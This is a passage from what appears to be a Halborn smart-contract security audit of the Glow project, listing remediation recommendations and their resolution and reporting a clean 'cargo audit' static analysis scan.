3. Validate that `reserves`, vault `deposit_shares` and `deposit_tokens` before allowing transferability updates via `configure_vaults`
4. Add a constraint preventing `receiver` from being the account that is being closed
5. Correct the comment to state the instruction is permissionless

Remediation Comment

SOLVED: The `Glow` team resolved this finding by implementing the recommended solution.

Remediation Hash

5409978b3c9028da2214e4a17a23af39f9e25fe5

8. AUTOMATED TESTING

Static Analysis Report

Description

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was `cargo audit`, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in <https://crates.io> are stored in a repository named The RustSec Advisory Database. `cargo audit` is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Cargo Audit Results

The `cargo audit` scan did not detect any security vulnerabilities.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.